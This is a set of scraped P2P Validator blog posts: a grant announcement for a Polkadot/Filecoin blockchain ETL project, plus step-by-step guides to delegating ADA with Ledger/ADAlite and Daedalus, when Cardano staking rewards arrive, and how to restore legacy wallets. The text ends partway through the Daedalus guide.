Polkadot P2P.ORG received grant for Multi-blockchain ETL for Polkadot and Filecoin

<h4 id="7th-september-2020-p2p-validator-is-delighted-to-announce-their-grant-work-on-connecting-the-polkadot-and-filecoin-ecosystems-by-creating-an-etl-solution-with-unified-api-together-with-web3-foundation-and-protocol-labs-"><strong>7th September 2020 - P2P Validator is delighted to announce their grant work on connecting the Polkadot and Filecoin ecosystems by creating an ETL solution with unified API , together with Web3 Foundation and Protocol Labs.</strong></h4><p>Over the past few years, the world has seen the rise of blockchain interoperability; with the attraction DeFi tools and platforms are getting nowadays, the idea of making the blockchain world more interoperable has become ingrained. The blockchain ecosystem has already attracted thousands of software developers working on different things - applications, wallets, dashboards, explorers - but by inserting interoperability into this equation brings an additional challenge.</p><p>Imagine a situation where a user moves a chain A asset through bridge B to parachain X to open a Collateralized Debt Position (CDP), then uses received stablecoin to long a synthetic asset from parachain D on a margin trade chain E. Ten years ago this could sound like nonsense - but this is a reality now. To make efficient applications that would allow this behavior - the developers need appropriate tools.</p><p><em><em>"Default blockchain node interfaces are usually unsuited for complex or historical data queries. That makes building application on top of blockchains a complicated affair - you need to build your own data layer first. Interchain communication aggravets that problem even more"</em></em>, says Vasiliy Shapovalov, CTO of P2P Validator. <em><em>"Our goal is to exctract, clean, enrich, transform, and serve the blockchain data in way that will allow users to to merge several application-specific interchain requests in the single one."</em></em></p><p>To begin this journey, we've decided to create an ETL solution for blockchains with a GraphQL API for the collected data. The solution aims to add value and decrease development costs for every company or individual who is working on application development. GraphQL as an API query language has been chosen to unify the data interface to simplify the development process and provide the best quality real-time data for applications.</p><p>As a validator, we have a unique opportunity to develop such a system:</p><ul><li>we have developed our dashboards and other tools that require a deep dive into specific blockchain's architecture</li><li>blockchain node management does not add costs to the solution as we already maintain them</li><li>we are familiar with a variety of blockchains</li><li>we are trusted by more than 2000 users staking their assets with us</li></ul><p>Although our ultimate goal is to provide a high-quality data source for lots of blockchains, we've chosen Polkadot and Filecoin to be the pioneers in this project. We would love to see services that would utilize this solution and supply a justified demand for more blockchains to be added as data sources.</p><p><em><em>“We are excited to work together with Protocol Labs and P2P validator to create an interoperability-first data warehouse across all kinds of different blockchains. This will make it easier to integrate with different blockchains and ultimately help the entire ecosystem ”</em></em>, says David Hawig, Grants Lead at Web3 Foundation.</p><p><em><em>"In collaboration with Web3 Foundation we’re delighted to support P2P Validator as they build an ETL solution to simplify the process of building wallets, dashboards, explorers and apps that interact with multiple blockchains connected through interchain communication protocol"</em></em>, says Eva Shon, Grants Coordinator at Protocol Labs.</p><p>Stay in touch with us and visit our website and GitHub to know more!</p><h3 id="about-web3-foundation"><strong>About Web3 Foundation</strong></h3><p><a href="https://web3.foundation/">Web3 Foundation</a> funds research and development teams building the technology stack of the decentralized web. It was established in Zug, Switzerland, by Ethereum co-founder and former chief technology officer Dr. Gavin Wood. Polkadot is the Foundation's flagship project.</p><h3 id="about-protocol-labs"><strong>About Protocol Labs</strong></h3><p><a href="https://protocol.ai/">Protocol Labs</a> is an open-source research, development, and deployment laboratory. Protocol Labs' projects include IPFS, Filecoin, libp2p, and many more. Protocol Labs aim to make human existence orders of magnitude better through technology.</p><h3 id="about-p2p-validator"><strong>About P2P Validator</strong></h3><p><a href="https://p2p.org/?utm_source=blog&amp;utm_medium=announcement&amp;utm_campaign=polkadot_grant_announcement">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 300 million of USD value. At the time of publishing, P2P Validator is trusted by over 2000 delegators across 15+ networks.</p><p></p><hr><p></p><p><strong>Web</strong>: <a href="https://p2p.org">https://p2p.org</a></p><p><strong>Twitter</strong>: <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong>Telegram</strong>: <a href="https://t.me/P2P/polkadot"><a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></a></p>

Gleb Palienko

from p2p validator

Cardano How to delegate your ADA with Ledger Nano S/X

<h1 id="how-to-delegate-your-ada-with-ledger-nano-s-x"><strong>How to delegate your ADA with Ledger Nano S/X</strong></h1><p>This guide will walk you step-by-step through the process of delegation in Cardano using the ledger device.</p><hr><p>First of all <a href="https://support.ledger.com/hc/en-us/articles/360006395553">download ledger live app</a> on your device, connect the ledger and <a href="https://support.ledger.com/hc/en-us/articles/360002731113">make sure it is up to date</a> with the actual version of firmware. Install Cardano app and check that the corresponding icon has appeared on the display of your ledger.</p><p>1. Go to <a href="https://adalite.io/">https://adalite.io/</a> and select hardware wallet as the preferred access method.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/mPTCCKj.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/mPTCCKj.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/mPTCCKj.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/mPTCCKj.png 1600w, https://economy.p2p.org/content/images/2020/09/mPTCCKj.png 2048w" sizes="(min-width: 720px) 720px"></figure><p>2. Press <code>Unlock with Ledger</code> button.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/YaJ8NQZ.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/YaJ8NQZ.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/YaJ8NQZ.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/YaJ8NQZ.png 1600w, https://economy.p2p.org/content/images/2020/09/YaJ8NQZ.png 2274w" sizes="(min-width: 720px) 720px"></figure><p>3. Select the Cardano icon in your ledger and confirm the export of the address.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2aS4nQW.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2aS4nQW.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2aS4nQW.png 1000w, https://economy.p2p.org/content/images/2020/09/2aS4nQW.png 1058w" sizes="(min-width: 720px) 720px"></figure><p>4. Confirm the export of your keys with ledger. You may be asked to repeat the previous step and do it once more.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1kroT4z.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1kroT4z.png 600w, https://economy.p2p.org/content/images/2020/09/1kroT4z.png 928w" sizes="(min-width: 720px) 720px"></figure><p>5. Approve the export.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1gkdndG.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1gkdndG.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/1gkdndG.png 1000w, https://economy.p2p.org/content/images/2020/09/1gkdndG.png 1196w" sizes="(min-width: 720px) 720px"></figure><p>6. After successful confirmation the wallet info will be available on your device. If you have ADA on your ledger go to step <code>#6</code>. If not, scroll down to the list of your addresses and send ADA to one of them.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/UWZKjSJ.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/UWZKjSJ.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/UWZKjSJ.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/UWZKjSJ.png 1600w, https://economy.p2p.org/content/images/2020/09/UWZKjSJ.png 1850w" sizes="(min-width: 720px) 720px"></figure><p>7. Refresh the balance on the staking tab.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/5DVCRGt.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/5DVCRGt.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/5DVCRGt.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/5DVCRGt.png 1600w, https://economy.p2p.org/content/images/2020/09/5DVCRGt.png 1872w" sizes="(min-width: 720px) 720px"></figure><p>8. In the Delegate stake field you can put our pool ID. <strong><strong>P2P Validator Pool:</strong></strong> <code>33c1bf1a04ba85d8fd6119a08ee7f4ad659add075e2208b28862a2a1</code> Wait for the appearance of pool info as on the screen below and press <code>Delegate</code> button.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/fCn2ObX.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/fCn2ObX.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/fCn2ObX.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/fCn2ObX.png 1600w, https://economy.p2p.org/content/images/2020/09/fCn2ObX.png 1882w" sizes="(min-width: 720px) 720px"></figure><p>9. In the confirmation window double check that the pool info is correct. You will need to reserve <strong><strong>2 ADA</strong></strong> to create a staking address on top of the transaction fee. You will be able to return the reserve if you cancel staking and won't be using that address any more. This functionality is currently unavailable in ADAlite wallet. Click <code>Confirm</code> Transaction.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/YViqQLW.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/YViqQLW.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/YViqQLW.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/YViqQLW.png 1600w, https://economy.p2p.org/content/images/2020/09/YViqQLW.png 1666w" sizes="(min-width: 720px) 720px"></figure><p>10. In the following step you will be asked to confirm registration of a staking key and delegation via ledger. On the ledger screen you will see the slot and epoch when the delegation is made. Press <strong><strong>both buttons</strong></strong> to continue.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/aQTqESn.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/aQTqESn.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/aQTqESn.png 1000w, https://economy.p2p.org/content/images/2020/09/aQTqESn.png 1200w" sizes="(min-width: 720px) 720px"></figure><p>11. Confirm the registration of a staking key.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/ghc5AKi.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/ghc5AKi.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/ghc5AKi.png 1000w, https://economy.p2p.org/content/images/2020/09/ghc5AKi.png 1196w" sizes="(min-width: 720px) 720px"></figure><p>12. Confirm the delegation itself. It will become active after two epochs (~10 days). In Cardano there is no slashing so your funds are safe.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/vTe2I2o.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/vTe2I2o.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/vTe2I2o.png 1000w, https://economy.p2p.org/content/images/2020/09/vTe2I2o.png 1194w" sizes="(min-width: 720px) 720px"></figure><p><strong><strong>Congratulations! After completing all the steps you will see the updated info about your delegation in ADAlite wallet.</strong></strong></p><hr><h1 id="about-p2p-org"><strong>About P2P.org</strong></h1><p><a href="https://p2p.org/">P2P Validator</a> is a world-leading <strong><strong>non-custodial staking provider</strong></strong> with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than <strong><strong>300 million of USD</strong></strong> value. At the time of publishing, P2P Validator is <strong><strong>trusted by over 2300 delegators</strong></strong> across 15+ networks. We are a major player in all networks we support because of our experience, commitments and our <strong><strong>reputation</strong></strong>. We pay special attention to the process of <strong><strong>governance</strong></strong>.</p><blockquote><em><em>Our aim is to provide a secure and reliable service at the lowest cost <strong><strong>maximizing rewards for our delegators</strong></strong>.</em></em></blockquote><hr><p>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram</a> chat or contact Slava via [email protected] We are always open for communication.</p><p></p><hr><p></p><p><strong>Web</strong>: <a href="https://p2p.org">https://p2p.org</a></p><p><strong>Twitter</strong>: <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong>Telegram</strong>: <a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></p>

Slava Yanchuk

from p2p validator

Cardano When will I start receiving my ADA rewards?

<h1 id="when-will-i-start-receiving-my-ada-rewards"><strong>When will I start receiving my ADA rewards?</strong></h1><p>Many of our community members have been asking around when they could start receiving rewards from delegated stake. And the short answer might be as follows: <strong><strong>you will begin receiving staking rewards three entire epochs after the epoch during which you delegated your ADA.</strong></strong> But let’s take a closer look at the delegation cycle.</p><hr><h2 id="delegation-cycle-explanation"><strong>Delegation Cycle Explanation</strong></h2><p>Below you can find a graph showing the delegation cycle on the <a href="https://cardano.org/">Cardano</a> network.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/ApO8ZLR.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/ApO8ZLR.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/ApO8ZLR.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/ApO8ZLR.png 1600w, https://economy.p2p.org/content/images/2020/09/ApO8ZLR.png 1630w" sizes="(min-width: 720px) 720px"></figure><p>First we need to determine a starting point. For example, <code>P2P</code> stake pool was registered on 11 August 2020. Thus, if you had delegated during the <code>210</code> epoch your stake would have been counted in the snapshot on the <code>210-211</code> epochs boundary.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/2.png 1600w, https://economy.p2p.org/content/images/2020/09/2.png 1630w" sizes="(min-width: 720px) 720px"></figure><p>Once the snapshot is taken, we have to wait for the current epoch to be finished so that the stake becomes <strong><strong>active.</strong></strong> In our case we are going to wait for the <code>212</code> epoch.</p><p>During the <code>212</code> epoch the snapshotted stake becomes <strong><strong>active</strong></strong> and participates in the <strong><strong>block minting process</strong></strong> according to the Ouroboros consensus engine logic.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/3.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/3.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/3.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/3.png 1600w, https://economy.p2p.org/content/images/2020/09/3.png 1630w" sizes="(min-width: 720px) 720px"></figure><p>In the following <code>213</code> epoch, the rewards will be calculated properly according to the stake size of each delegator.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/4.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/4.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/4.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/4.png 1600w, https://economy.p2p.org/content/images/2020/09/4.png 1630w" sizes="(min-width: 720px) 720px"></figure><p>Finally, you will be rewarded for your patience on the first day of the next epoch. In the <code>P2P</code> case it will be <code>214</code> epoch on August 28.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/5.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/5.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/5.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/5.png 1600w, https://economy.p2p.org/content/images/2020/09/5.png 1630w" sizes="(min-width: 720px) 720px"></figure><h2 id="takeaways"><strong>Takeaways</strong></h2><ol><li>Cardano is a long term investment so you have to make a decision about delegation/redelegation with caution.</li><li>You can terminate the delegation process at any moment by sending your funds from the staking wallet to a new wallet that wasn’t used for delegation. In this case you will not be rewarded for this epoch.</li><li>Once you make a change, for instance you added new funds to the staking wallet, the added stake will go through the delegation cycle from the very beginning.</li><li>Making change is a simple and safe process as any other normal transaction on the blockchain.</li></ol><hr><h1 id="about-p2p-org"><strong>About P2P.org</strong></h1><p><a href="https://p2p.org/">P2P Validator</a> is a world-leading <strong><strong>non-custodial staking provider</strong></strong> with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than <strong><strong>250 million of USD</strong></strong> value. At the time of publishing, P2P Validator is <strong><strong>trusted by over 2300 delegators</strong></strong> across 15+ networks. We are a major player in all networks we support because of our experience, commitments and our <strong><strong>reputation</strong></strong>. We pay special attention to the process of <strong><strong>governance</strong></strong>.</p><blockquote><em><em>Our aim is to provide a secure and reliable service at the lowest cost <strong><strong>maximizing rewards for our delegators</strong></strong>.</em></em></blockquote><hr><p>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram</a> chat or contact Slava via [email protected] We are always open for communication.</p><hr><p><strong>Web</strong>: <a href="https://p2p.org">https://p2p.org</a></p><p><strong>Twitter</strong>: <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong>Telegram</strong>: <a href="https://t.me/P2P/polkadot"><a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></a></p><p><br></p>

Slava Yanchuk

from p2p validator

Cardano How to restore your ADA from previous legacy wallets using Daedalus

<h1 id="how-to-restore-your-ada-from-previous-legacy-wallets-using-daedalus"><strong>How to restore your ADA from previous legacy wallets using Daedalus</strong></h1><p>This guide is designed to help you to restore your ADA from legacy Daedalus, Yoroi or Hardware wallets.</p><blockquote><em><em>For those who have the previous Daedalus version wallets installed, there is an import feature which runs automatically and detects installed legacy wallets. Just select the wallets, click the ‘Import selected wallet’ button and follow the instructions.</em></em></blockquote><h2 id="create-a-new-daedalus-wallet"><strong>Create A New Daedalus Wallet</strong></h2><p>First of all, you need to create a new Daedalus wallet to load your funds from a legacy one. Ensure that you have the latest version of the wallet or download it from offical <a href="https://daedaluswallet.io/#download">Daedalus wallet</a> page.</p><p>1. After the sync has reached 100%, go to the dashboard and click the <code>Create</code> button.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/1.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/1.png 1600w, https://economy.p2p.org/content/images/2020/09/1.png 1909w" sizes="(min-width: 720px) 720px"></figure><p>2. Enter the name and password for the Wallet.</p><p>3. Create a spending password which will be required every time you do a transaction and click <code>Create Shelley wallet</code>.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2-1.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2-1.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/2-1.png 1600w, https://economy.p2p.org/content/images/2020/09/2-1.png 1909w" sizes="(min-width: 720px) 720px"></figure><p>At the next step, you will be prompted on how to use the 24-word Recovery Phrase. <strong><strong>Read it carefully since if you lose your wallet recovery phrase you will not get a chance to take your ADA back.</strong></strong></p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/3-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/3-1.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/3-1.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/3-1.png 1600w, https://economy.p2p.org/content/images/2020/09/3-1.png 1914w" sizes="(min-width: 720px) 720px"></figure><p>Next, you have to verify the 24-word Recovery Phrase you have just got from the system.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/4-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/4-1.png 600w, https://economy.p2p.org/content/images/2020/09/4-1.png 949w" sizes="(min-width: 720px) 720px"></figure><p>Wait for the wallet to be synced and then you can use it for new transactions or for moving your funds from restored legacy wallets.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/5-1.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/5-1.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/5-1.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/5-1.png 1600w, https://economy.p2p.org/content/images/2020/09/5-1.png 1918w" sizes="(min-width: 720px) 720px"></figure><h2 id="restore-legacy-wallet"><strong>Restore Legacy Wallet</strong></h2><p>1. Click the <code>hamburger</code> icon to open the side-panel and click <code>Add wallet</code>.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/6.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/6.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/6.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/6.png 1600w, https://economy.p2p.org/content/images/2020/09/6.png 1915w" sizes="(min-width: 720px) 720px"></figure><p>2. Click the <code>Restore</code> button and select the type of the wallet. There are quite a few options you can use to restore the funds:</p><ul><li>You can restore your ADA from an older version of Daedalus such as <strong><strong>Bayron legacy, Shelley legacy or Bayron paper wallets.</strong></strong></li></ul><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/7.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/7.png 600w, https://economy.p2p.org/content/images/2020/09/7.png 945w" sizes="(min-width: 720px) 720px"></figure><p>If you have used <strong><strong>Yoroi</strong></strong> wallet and now for some reason would like to try Daedalus, you can employ the “Restore Yoroi wallet” feature to move your funds to a newly created Daedalus wallet.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/8.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/8.png 600w, https://economy.p2p.org/content/images/2020/09/8.png 942w" sizes="(min-width: 720px) 720px"></figure><p>You can also restore your funds from <strong><strong>Hardware wallets</strong></strong> such as <strong><strong>Ledger (Byron legacy wallet)</strong></strong> or <strong><strong>Trezor (Byron legacy wallet).</strong></strong> However, read the recommendations provided by IOHK team carefully to avoid exposing your hardware wallet private keys to security risks.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/9.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/9.png 600w, https://economy.p2p.org/content/images/2020/09/9.png 943w" sizes="(min-width: 720px) 720px"></figure><p><strong><strong>Overall, the process is the same for each kind of wallet:</strong></strong></p><ol><li>Go to the main dashboard and click <code>Add wallet</code> → <code>Restore</code>.</li><li>You will be prompted to select a type of legacy wallet. Select the one required and click <code>Continue</code>.</li><li>Enter Recovery phrase, Wallet Name and Password to restore the wallet.</li><li>Wait while your wallet syncs to see the legacy wallet and its balance in the user interface.</li><li>Transfer ADA to newly created Daedalus wallet.</li></ol><blockquote><em><em>Please keep in mind there will be a small fee in ADA to make a transfer from Bayron legacy to the new Shelley wallet.</em></em></blockquote><p><strong><strong>Once you have your funds in the newly created Daedalus wallet you can safely delegate them to a stake pool to start earning rewards</strong></strong></p><h1 id="about-p2p-org"><strong>About P2P.org</strong></h1><p><a href="https://p2p.org/">P2P Validator</a> is a world-leading <strong><strong>non-custodial staking provider</strong></strong> with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than <strong><strong>250 million of USD</strong></strong> value. At the time of publishing, P2P Validator is <strong><strong>trusted by over 2300 delegators</strong></strong> across 15+ networks. We are a major player in all networks we support because of our experience, commitments and our <strong><strong>reputation</strong></strong>. We pay special attention to the process of <strong><strong>governance</strong></strong>.</p><blockquote><em><em>Our aim is to provide a secure and reliable service at the lowest cost <strong><strong>maximizing rewards for our delegators</strong></strong>.</em></em></blockquote><hr><p>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking">Telegram</a> chat or contact Slava via [email protected] We are always open for communication.</p><p></p><hr><p></p><p><strong>Web</strong>: <a href="https://p2p.org">https://p2p.org</a></p><p><strong>Twitter</strong>: <a href="https://twitter.com/p2pvalidator">@p2pvalidator</a></p><p><strong>Telegram</strong>: <a href="https://t.me/P2P/polkadot"><a href="https://t.me/P2Pstaking">https://t.me/P2Pstaking</a></a></p>

Slava Yanchuk

from p2p validator

Cardano How to delegate ADA (Cardano) using Daedalus wallet

<p>This guide explains how to start delegating ADA (Cardano) and earning rewards with the official full node Daedalus wallet.</p><hr><h2 id="install-daedalus"><strong>Install Daedalus</strong></h2><ol><li>Go to <a href="https://daedaluswallet.io/#download">Daedalus wallet</a> page and download the latest version of the wallet</li></ol><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/1-9.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/1-9.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/1-9.png 1000w, https://economy.p2p.org/content/images/2020/09/1-9.png 1345w" sizes="(min-width: 720px) 720px"></figure><p>2.   After the download is completed, unpack and install Daedalus wallet on your system.</p><p>3.   Once the installation is done, launch the Daedalus app and go through simple steps such as: select your language, read and accept the terms and conditions etc.</p><p>4.   Wait for Daedalus to sync. Since the blockchain is over 6GB it could take hours depending on your internet speed.</p><p>5.   After the sync is over, you can proceed with the next steps.</p><blockquote><em><em>There might be issues with connections to the Cardano network, please see <a href="https://iohk.zendesk.com/hc/en-us/articles/360010522913">https://iohk.zendesk.com/hc/en-us/articles/360010522913</a></em></em></blockquote><h2 id="create-a-new-daedalus-wallet"><strong>Create A New Daedalus Wallet</strong></h2><ol><li> After the sync has reached 100%, go to the dashboard and click the <code>Create</code> button.</li></ol><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/2-13.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/2-13.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/2-13.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/2-13.png 1600w, https://economy.p2p.org/content/images/2020/09/2-13.png 1909w" sizes="(min-width: 720px) 720px"></figure><p>2.   Enter the name and password for the Wallet.</p><p>3.   Create a spending password which will be required every time you do a transaction and click <code>Create Shelley wallet</code>.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/3-10.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/3-10.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/3-10.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/3-10.png 1600w, https://economy.p2p.org/content/images/2020/09/3-10.png 1909w" sizes="(min-width: 720px) 720px"></figure><p>4.   At the next step, you will be prompted on how to use the 24-word Recovery Phrase. <strong><strong>Read it carefully since if you lose your recovery phrase wallet you will not get a chance to take your ADA back.</strong></strong></p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/4-12.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/4-12.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/4-12.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/4-12.png 1600w, https://economy.p2p.org/content/images/2020/09/4-12.png 1914w" sizes="(min-width: 720px) 720px"></figure><p>5.   Next, you have to verify the <strong><strong>24-word Recovery Phrase</strong></strong> you have just got from the system.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/5-6.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/5-6.png 600w, https://economy.p2p.org/content/images/2020/09/5-6.png 949w" sizes="(min-width: 720px) 720px"></figure><p>6.    Wait for the wallet is synced and you can use it for new transactions or for moving your funds from restored legacy wallets.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/6-3.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/6-3.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/6-3.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/6-3.png 1600w, https://economy.p2p.org/content/images/2020/09/6-3.png 1918w" sizes="(min-width: 720px) 720px"></figure><blockquote><em><em>For those who have the previous Daedalus version wallets installed, there is an import feature which runs automatically and detects installed legacy wallets. Just select the wallets, click the <code>Import selected wallet</code> button and follow instructions.</em></em></blockquote><p><br><strong>Delegate To A Stake Pool</strong></p><ol><li>Once you have some ADA in the newly created wallet you can delegate them to the stake pool.</li></ol><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/7-2.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/7-2.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/7-2.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/7-2.png 1600w, https://economy.p2p.org/content/images/2020/09/7-2.png 1912w" sizes="(min-width: 720px) 720px"></figure><p>2.    Click on the network icon in the left side panel to open the delegation centre.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/8-2.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/8-2.png 600w, https://economy.p2p.org/content/images/size/w1000/2020/09/8-2.png 1000w, https://economy.p2p.org/content/images/size/w1600/2020/09/8-2.png 1600w, https://economy.p2p.org/content/images/2020/09/8-2.png 1909w" sizes="(min-width: 720px) 720px"></figure><p>3.   Select the wallet which holds the ADA you wish to delegate to a stake pool and click the <code>Delegate</code> button.</p><figure class="kg-card kg-image-card"><img src="https://economy.p2p.org/content/images/2020/09/9-4.png" class="kg-image" alt srcset="https://economy.p2p.org/content/images/size/w600/2020/09/9-4.png 600w, https://economy.p2p.org/content/images/2020/09/9-4.png 952w" sizes="(min-width: 720px) 720px"></figure><p>4.   The dialogue window will appear where you will be prompted with steps you need to go through. Click <code>Continue</code>.</p><figure class="kg-card kg-image-card"><img 